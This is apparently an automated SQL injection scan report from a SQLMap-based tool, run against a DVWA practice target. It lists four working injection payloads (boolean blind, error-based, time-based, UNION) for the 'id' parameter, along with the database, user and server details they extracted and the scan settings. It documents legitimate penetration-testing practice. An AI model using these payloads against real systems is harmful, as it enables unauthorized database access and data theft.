SQLi Exploiter with SQLMap Report

✔ **http://dvwa.pentest-ground.com/vulnerabilities/sqli/?id=1&Submit=Submit**

SQL Injection Exploited Successfully

Parameter	Method	SQLi Type	Payload	Extracted data
id	GET	boolean-based blind	id=1' AND 5046=5046 AND 'UQce'='UQce&Submit=Submit	Current database: **dvwa** Current user: **dvwa@localhost** Operating system: **Linux Debian 9 (stretch)** Server technology: **Apache 2.4.25, PHP** Database type: **MySQL >= 5.0 (MariaDB fork)** Server hostname: **PENTEST-GROUND**
id	GET	error-based	id=1' AND (SELECT 1619 FROM(SELECT COUNT(*),CONCAT(0x717a707071,(SELECT (ELT(1619=1619,1))),0x71766b6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'IRvz'='IRvz&Submit=Submit	-
id	GET	time-based blind	id=1' AND (SELECT 3440 FROM (SELECT(SLEEP(5)))Vbgn) AND 'oYbY'='oYbY&Submit=Submit	-
id	GET	UNION query	id=1' UNION ALL SELECT CONCAT(0x717a707071,0x6c5768796d7773526747777963615 54b5a6348794945445955564264705848545651524a437167 77,0x71766b6271),NULL-- -&Submit=Submit	-

Scan parameters

URL:	http://dvwa.pentest-ground.com/vulnerabilities/sqli/?id=1&Submit=Submit
Method:	GET
POST Data:	
Extract current user:	True
Extract current database:	True
Extract server hostname:	True
Cookie header:	
Test parameters:	
Tamper:	
Level:	1
Risk:	1
HTTP Code:	None
Prefix:	
Suffix:	
Database type:	
Techniques:	BEUSTQ
Light crawling:	False

Scan information

Start time:	2023-03-29 16:09:22 UTC+03
Finish time:	2023-03-29 16:10:52 UTC+03
Scan duration:	1 min, 30 sec
Scan status:	Finished